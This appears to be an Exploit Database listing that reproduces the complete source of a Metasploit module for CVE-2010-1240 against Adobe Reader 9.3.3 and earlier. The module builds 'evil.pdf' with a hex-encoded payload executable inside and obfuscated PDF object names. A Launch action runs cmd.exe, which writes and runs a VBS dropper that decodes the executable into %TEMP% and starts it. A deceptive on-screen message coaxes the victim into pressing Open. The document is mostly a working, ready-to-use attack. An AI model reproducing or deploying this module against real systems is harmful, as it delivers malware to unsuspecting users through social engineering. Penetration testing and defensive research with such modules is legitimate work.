Adobe PDF – Escape EXE Social Engineering (No JavaScript) (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-12-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16682/

• ##
  # $Id: adobe_pdf_embedded_exe_nojs.rb 11353 2010-12-16 20:11:01Z egypt $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  #
  # Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb".
  # This version does not require JavaScript to be enabled and does not required the EXE to be
  # attached to the PDF.The EXE is embedded in the PDF in a non-standard method using HEX
  # encoding.
  #
  # Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.
  # Thanks to all those that wrote the code for those modules, as I probably could not have
  # wrote this module without borrowing code from them.
  #
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::EXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',
  			'Description' 	=> %q{
  					This module embeds a Metasploit payload into an existing PDF file in
  				a non-standard method. The resulting PDF can be sent to a target as
  				part of a social engineering attack.
  			},
  			'License'	=> MSF_LICENSE,
  			'Author'	 =>
  				[
  					'Jeremy Conway <jeremy[at]sudosecure.net>',
  				],
  			'Version'=> '$Revision: 11353 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-1240' ],
  					[ 'OSVDB', '63667' ],
  					[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
  					[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
  					[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
  				],
  			'Payload'	=>
  				{
  					'Space'			 => 2048,
  					'DisableNops'		=> true,
  					'StackAdjustment'	=> -3500,
  				},
  			'Platform'	=> 'win',
  			'Targets'	=>
  				[
  					[ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]
  				],
  			'DefaultTarget'	=> 0))
  
  		register_options(
  			[
  				OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),
  				OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
  				OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
  					"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
  			], self.class)
  	end
  
  	def exploit
  
  		# Create the pdf
  		print_status("Making PDF")
  		pdf = make_pdf()
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  		file_create(pdf)
  	end
  
  	def pdf_exe(payload_exe)
  
  		if !(payload_exe and payload_exe.length > 0)
  			print_status("Using '#{datastore['PAYLOAD']}' as payload...")
  			payload_exe = generate_payload_exe
  			hex_payload = Rex::Text.to_hex(payload_exe)
  		else
  			print_status("Using '#{datastore['EXENAME']}' as payload...")
  			hex_payload = Rex::Text.to_hex_dump(payload_exe,16)
  		end
  
  		return hex_payload
  	end
  
  	def ioDef(id)
  		"%d 0 obj" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  	def nObfu(str)
  		result = ""
  		str.scan(/./u) do |c|
  			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
  				result << "#%x" % c.unpack("C*")[0]
  			else
  				result << c
  			end
  		end
  		result
  	end
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  	def make_pdf()
  
  		file_name = datastore['FILENAME']
  		exe_name = datastore['EXENAME']
  		launch_msg = datastore['LAUNCH_MESSAGE']
  
  		xref = []
  		eol = "\x0d\x0a"
  		endobj = "endobj" << eol
  
  		pdf = "%PDF-1.5" << eol
  		payload_exe = generate_payload_exe
  		hex_payload = Rex::Text.to_hex(payload_exe)
  		pdf << hex_payload << eol
  		pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
  		xref << pdf.length
  		pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< "
  		pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"
  		pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"
  		pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"
  		pdf << eol << eol << eol << "#{launch_msg})"
  		pdf << ">>>>" << endobj
  		xref << pdf.length
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  		pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  
  	end
  end